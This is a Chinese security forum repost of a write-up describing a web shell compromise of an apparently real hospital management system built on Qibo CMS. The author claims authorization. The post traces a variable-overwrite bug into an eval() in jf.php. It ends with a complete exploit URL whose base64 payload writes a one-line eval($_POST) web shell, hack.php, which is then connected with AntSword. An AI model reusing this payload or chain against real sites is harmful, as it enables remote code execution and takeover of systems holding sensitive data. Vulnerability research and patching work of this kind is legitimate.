安全矩阵

 找回密码
 立即注册
搜索
查看: 2341|回复: 0

实战 | 某医院管理系统Getshell

[复制链接]

180

主题

231

帖子

1176

积分

金牌会员

Rank: 6Rank: 6

积分
1176
发表于 2022-4-30 01:27:55 | 显示全部楼层 |阅读模式

实战 | 某医院管理系统Getshell



文章来源:先知社区(AndyNoel)

0x01 前言

其实这周打算开始学Blockchain智能合约的,但是网络不行。。。先鸽一下。


起因是之前在等核酸结果,就顺便看了一下医院的管理系统,发现是某博。和有关部门要了授权,尝试了一下。

0x02 安装CMS

其实这一步没啥说的,但是很有可能会遇到因浏览器、编辑器编码格式不同造成的乱码,记得修改一下,不过有可能自己写的代码会报错。。。

0x03 变量覆盖+Getshell组合拳

之前又有看到是一个老洞,这张图一年之前前我见过,不过据说好像很鸡肋。



我们直接去看fujsarticle.php


跟进global.php

  1. require_once(dirname(__FILE__)."/"."../inc/common.inc.php");    //核心文件
复制代码


引用了/inc/common.inc.php,继续跟进,在其中就能找到一段有问题的代码,

  1. <?php
  2. ...
  3. $_POST=Add_S($_POST);
  4. $_GET=Add_S($_GET);
  5. $_COOKIE=Add_S($_COOKIE);
  6. ...
  7. foreach($_COOKIE AS $_key=>$_value){
  8.     unset($_key);
  9. }
  10. foreach($_POST AS $_key=>$_value){
  11.     !ereg("^\_[A-Z]+",$_key) && $_key=$_POST[$_key];
  12. }
  13. foreach($_GET AS $_key=>$_value){
  14.     !ereg("^\_[A-Z]+",$_key) && $_key=$_GET[$_key];
  15. }
复制代码


使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。
具体情况我们可以编写一段代码测试一下:

  1. <?php
  2. error_reporting(0);
  3. $id=111111;
  4. echo $id;
  5. echo "</br>";

  6. foreach($_COOKIE AS $_key=>$_value){
  7.     unset($_key);
  8. }
  9. foreach($_POST AS $_key=>$_value){
  10.     !ereg("^\_[A-Z]+",$_key) && $_key=$_POST[$_key];
  11. }
  12. foreach($_GET AS $_key=>$_value){
  13.     !ereg("^\_[A-Z]+",$_key) && $_key=$_GET[$_key];
  14. }
  15. $id;
  16. echo $id;
  17. ?>
复制代码


请求?id=test 会将$id的值覆盖


简单来说id在一开始被初始化,后来经过foreach进行遍历,变量就会被覆盖。同理,当我们构造FileName时,遍历后没有再次初始化,导致变量覆盖。然后FileName进行传递

  1. <?php
  2. ...
  3. $FileName=dirname(__FILE__)."/../cache/fujsarticle_cache/";
  4. if($type=='like'){
  5.     $FileName.=floor($id/3000)."/";
  6. }else{
  7.     unset($id);
  8. }
  9. ...
  10. if(!is_dir(dirname($FileName))){
  11.     makepath(dirname($FileName));
  12. }
  13. if( (time()-filemtime($FileName))>($webdb["cache_time_$type"]*60) ){
  14.     write_file($FileName,"<?php \r\n\$show=stripslashes('".addslashes($show)."'); ?>");
  15. }
复制代码





  1. <?php
  2. $show=stripslashes('<div class=\\\'side_t\\\' style=\\\'height:24px;background:url(http://localhost/qibo_v7/images/default/ico_block.gif) no-repeat 0px 3px;padding-left:15px;\\\'><A target=\\\'_blank\\\' HREF=\\\'http://localhost/qibo_v7/bencandy.php?fid=14&id=542\\\' title=\\\'</div>'); ?>
复制代码


在当前目录生成了hint.php,并生成了特定内容。
同理,我们可以覆盖指定文件导致数据库配置错误/data/mysql_config.php


但是这只是第一步,接下来准备想办法写入shell。
跟进jf.php

  1. <?php
  2. require(dirname(__FILE__)."/"."global.php");

  3. $lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);

  4. $query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");
  5. while($rs = $db->fetch_array($query)){
  6.     $fnameDB[$rs[fid]]=$rs[name];
  7.     $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");
  8.     while($rs2 = $db->fetch_array($query2)){
  9.         eval("\$rs2[title]="$rs2[title]";");
  10.         eval("\$rs2[content]="$rs2[content]";");
  11.         $jfDB[$rs[fid]][]=$rs2;
  12.     }
  13. }

  14. require(ROOT_PATH."inc/head.php");
  15. require(html("jf"));
  16. require(ROOT_PATH."inc/foot.php");

  17. ?>
复制代码


会查询qb_jfaboutqb_jfsort两个表内的数据,并且结合后面的eval语句,我们可以在表内插入恶意语句

  1. <?php
  2. $string1 = "sp4c1ous";
  3. $string2 = "BigPowercat";
  4. $str = '$string1 & $string2 are gay';
  5. echo $str. "<br />";
  6. eval("\$str = "$str";");
  7. echo $str;
  8. ?>
复制代码




注意这个地方,字符串输出在双引号之内,会将其看成为普通的字符串,但是输出在双引号之外的就会当成代码来执行。
那么有人问了,这两个人是谁呢?他俩是不在乎世俗偏见的一对,这就是爱情啊。
那我们如何写入恶意语句呢?其实不用我们写进去,我们在自己的数据库新建自己的两个命名为qb_jfaboutqb_jfsort的表,在第一个表的titlecontent插入语句,然后借助file_put_contents
不能只简单地写入,还要记得闭合引号
  1. /do/jf.php?dbuser=数据库用户&dbpw=数据库密码&dbhost=数据库地址&dbname=数据库名称&pre=qb_&dbcharset=gbk&submit=123&a=assert&b=${file_put_contents(base64_decode('aGFjay5waHA='),base64_decode('PD9waHAgQGV2YWwoJyRfUE9TVFtoYWNrXScpOz8+'))};
复制代码


就会在当前目录生成我们的shell,蚁剑连接。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 04:07 , Processed in 0.014526 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表